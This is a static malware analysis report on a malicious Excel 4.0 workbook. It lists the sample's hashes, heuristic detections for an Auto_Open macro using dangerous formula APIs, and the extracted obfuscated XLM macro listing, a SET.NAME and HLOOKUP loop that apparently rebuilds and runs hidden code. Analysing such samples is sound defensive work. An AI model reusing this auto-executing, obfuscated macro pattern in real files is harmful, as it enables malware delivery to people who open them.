Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 96b36e6ca48ae8e8…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:50 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 7593338f7a3770615e76b6cba4baa690 SHA-1: 15161d7ea96aff6fb907304dcaa537557035080c SHA-256: 96b36e6ca48ae8e8918bb1e84e0a1e96d6c989fa03e9b1977a460bdf4d25c449
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6544 bytes
SHA-256: c6df5fa7628733301755468db66afde27cb080532bfa2b4b9718ac8230d42f20
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Lgt
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C190 
' 0018     20 LABEL : Cell Value, String Constant - BeOAP len=0 
' 0018     27 LABEL : Cell Value, String Constant - CytcohKsYZmr len=0 
' 0018     20 LABEL : Cell Value, String Constant - GnCIF len=0 
' 0018     27 LABEL : Cell Value, String Constant - hFllstLsEbrJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - HHJkdnL len=0 
' 0018     26 LABEL : Cell Value, String Constant - IsRMwCsOZVG len=0 
' 0018     27 LABEL : Cell Value, String Constant - jfXkAmNFodQp len=0 
' 0018     24 LABEL : Cell Value, String Constant - KOgJHBllw len=0 
' 0018     25 LABEL : Cell Value, String Constant - lyKlfXNrOe len=0 
' 0018     21 LABEL : Cell Value, String Constant - mpLqgd len=0 
' 0018     22 LABEL : Cell Value, String Constant - mwtKSaK len=0 
' 0018     22 LABEL : Cell Value, String Constant - nEqoLZq len=0 
' 0018     26 LABEL : Cell Value, String Constant - NQTnoRpPJaY len=0 
' 0018     22 LABEL : Cell Value, String Constant - tUCqddk len=0 
' 0018     27 LABEL : Cell Value, String Constant - uanuvulCrqYR len=0 
' 0018     21 LABEL : Cell Value, String Constant - UfrRHW len=0 
' 0018     24 LABEL : Cell Value, String Constant - voAsFdIHU len=0 
' 0018     24 LABEL : Cell Value, String Constant - wSkWRoAsp len=0 
' 0018     20 LABEL : Cell Value, String Constant - yYrPi len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZkYBgN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Lgt,S46,"",-447.00000000000000000000
'  Lgt,S47,"",604.00000000000000000000
'  Lgt,S48,"",-363.00000000000000000000
'  Lgt,S49,"",969.00000000000000000000
'  Lgt,S50,"",87.00000000000000000000
'  Lgt,S51,"",260.00000000000000000000
'  Lgt,C100,"SET.NAME("ZkYBgN",0+VALUE("0"))",""
'  Lgt,C104,"SET.NAME("HHJkdnL",ZkYBgN)",""
'  Lgt,C107,"SET.NAME("NQTnoRpPJaY",ZkYBgN)",""
'  Lgt,C112,"SET.NAME("UfrRHW",COUNTA(GnCIF))",""
'  Lgt,C114,"SET.NAME("KOgJHBllw",COUNTA(CytcohKsYZmr))",""
'  Lgt,C118,[],""
'  Lgt,C123,"SET.NAME("mwtKSaK","")",""
'  Lgt,C127,"HHJkdnL",""
'  Lgt,C132,"SET.NAME("voAsFdIHU",HLOOKUP("*",GnCIF,HHJkdnL,FALSE))",""
'  Lgt,C136,"jfXkAmNFodQp",""
'  Lgt,C140,"SET.NAME("BeOAP",ZkYBgN)",""
'  Lgt,C145,[],""
'  Lgt,C150,"BeOAP",""
'  Lgt,C153,"wSkWRoAsp",""
'  Lgt,C155,"tUCqddk",""
'  Lgt,C157,"hFllstLsEbrJ",""
'  Lgt,C162,"SET.NAME("uanuvulCrqYR",VALUE(HLOOKUP("*",CytcohKsYZmr,hFllstLsEbrJ,FALSE)))",""
'  Lgt,C164,"mpLqgd",""
'  Lgt,C167,"mwtKSaK",""
'  Lgt,C171,"NQTnoRpPJaY",""
'  Lgt,C173,NEXT(),""
'  Lgt,C175,"nEqoLZq",""
'  Lgt,C177,[],""
'  Lgt,C182,"IsRMwCsOZVG",""
'  Lgt,C184,NEXT(),""
'  Lgt,C188,RETURN(),""
'  Lgt,C220,"SET.NAME("yYrPi",C100)",""
'  Lgt,C223,"GnCIF",""
'  Lgt,C227,"SET.NAME("CytcohKsYZmr",R75C13)",""
'  Lgt,C231,"SET.NAME("IsRMwCsOZVG",239)",""
'  Lgt,C233,"SET.NAME("lyKlfXNrOe",3)",""
'  Lgt,C238,yYrPi(),""
'  Lgt,C239,HALT(),""

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